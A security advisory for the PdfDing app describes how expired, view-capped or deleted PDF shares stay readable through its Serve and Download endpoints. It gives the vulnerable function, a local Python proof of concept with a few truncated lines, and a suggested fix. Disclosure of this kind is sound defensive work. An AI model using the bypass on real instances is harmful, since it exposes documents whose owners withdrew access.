# Shared PDF Expiration, Max Views, and Deletion Bypass via Serve/Download Endpoints

Moderate **mrmn2** published **GHSA-vfqx-2464-38wf** yesterday

**Package**

**PdfDing**

**Affected versions**

<= v1.7.0

**Patched versions**

v1.7.1

**Description**

## Summary

`check_shared_access_allowed()` validates only session existence — it does not check `SharedPdf.inactive` (expiration / max views) or `SharedPdf.deleted`. The `Serve` and `Download` endpoints rely solely on this function, allowing previously-authorized users to access shared PDF content after expiration, view limit, or soft-deletion.

## Affected Version

PdfDing **v1.7.0** (commit `496d479`) and all prior versions with sharing.

## Details

The viewer page (`ViewShared.get()`) correctly checks `inactive` and `deleted` before rendering. However, two endpoints bypass these checks entirely:

- **`/pdf/shared/get/<id>/<revision>`** (Serve — `login_not_required`)
- **`/pdf/shared/download/<id>`** (Download — `login_not_required`)

Both use `PdfPublicMixin.get_object()` → `check_shared_access_allowed_by_identifier()` → `check_shared_access_allowed()`, which only validates the session.

Additionally, `ViewShared.post()` checks `inactive` but **not** `deleted`, allowing new session creation for soft-deleted shares.

### Vulnerable code

**`pdfding/pdf/services/shared_pdf_services.py`:**

```
def check_shared_access_allowed(shared_pdf: SharedPdf, session: Session):
    if (
        session
        and (session.get_expiry_date() - datetime.now(timezone.utc)).total_seconds() > 0
        and shared_pdf.sessions.filter(session_key=session.session_key).count()
    ):
        return True   # ← never checks shared_pdf.inactive or shared_pdf.deleted
    else:
        return False
```

## PoC

Run against a local PdfDing v1.7.0 instance:

```
import os, sys, time, django

sys.path.insert(0, '<path_to>/pdfding')
os.environ['DJANGO_SETTINGS_MODULE'] = 'core.settings.dev'
django.setup()

from datetime import datetime, timedelta, timezone
from django.contrib.auth.models import User
from django.contrib.sessions.models import Session
from django.contrib.sessions.backends.db import SessionStore
from django.test.runner import DiscoverRunner
from pdf.models.pdf_models import Pdf
from pdf.models.shared_pdf_models import SharedPdf
from pdf.services.shared_pdf_services import check_shared_access_allowed

runner = DiscoverRunner(verbosity=0)
old_config = runner.setup_databases()

try:
    user = User.objects.create_user(username='poc', password='poc12345', email='poc@poc.
    pdf = Pdf.objects.create(name='confidential', collection=user.profile.current_collec

    shared = SharedPdf.objects.create(
        pdf=pdf, name='test',
        expiration_date=datetime.now(timezone.utc) + timedelta(seconds=1),
        max_views=2,
    )
```

```
    # Authorize a session
    sess = SessionStore()
    sess.create(); sess.set_expiry(604800); sess.save()
    shared.sessions.add(Session.objects.get(session_key=sess.session_key))

    # 1) max_views bypass
    shared.views = 10; shared.save()
    assert shared.inactive is True
    assert check_shared_access_allowed(shared, sess) is True  # BUG
    print("[!] max_views bypass: CONFIRMED")

    # 2) expiration bypass
    time.sleep(2)
    shared.refresh_from_db()
    assert datetime.now(timezone.utc) >= shared.expiration_date
    assert check_shared_access_allowed(shared, sess) is True  # BUG
    print("[!] expiration bypass: CONFIRMED")

    # 3) deletion bypass
    shared.deletion_date = datetime.now(timezone.utc) - timedelta(hours=1)
    shared.save()
    assert shared.deleted is True
    assert check_shared_access_allowed(shared, sess) is True  # BUG
    print("[!] deletion bypass: CONFIRMED")

finally:
    runner.teardown_databases(old_config)
```

**Output:**

```
[!] max_views bypass: CONFIRMED
[!] expiration bypass: CONFIRMED
[!] deletion bypass: CONFIRMED
```

## Suggested Fix

```
def check_shared_access_allowed(shared_pdf: SharedPdf, session: Session):
    if shared_pdf.inactive or shared_pdf.deleted:
        return False

    if (
        session
        and (session.get_expiry_date() - datetime.now(timezone.utc)).total_seconds() > 0
        and shared_pdf.sessions.filter(session_key=session.session_key).count()
    ):
        return True
    else:
        return False
```

And in `ViewShared.post()`, add the `deleted` check:

```
if shared_pdf.inactive or shared_pdf.deleted:
    return render(request, 'view_shared_inactive.html')
```

### Severity

Moderate 6.5 / 10

**CVSS v3 base metrics**

| | |
|---|---|
| Attack vector | Network |
| Attack complexity | Low |
| Privileges required | Low |
| User interaction | None |
| Scope | Unchanged |
| Confidentiality | High |
| Integrity | None |
| Availability | None |

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

### CVE ID

CVE-2026-34586

### Weaknesses

▶ CWE-863

### Credits

 **axel-corsiez** Reporter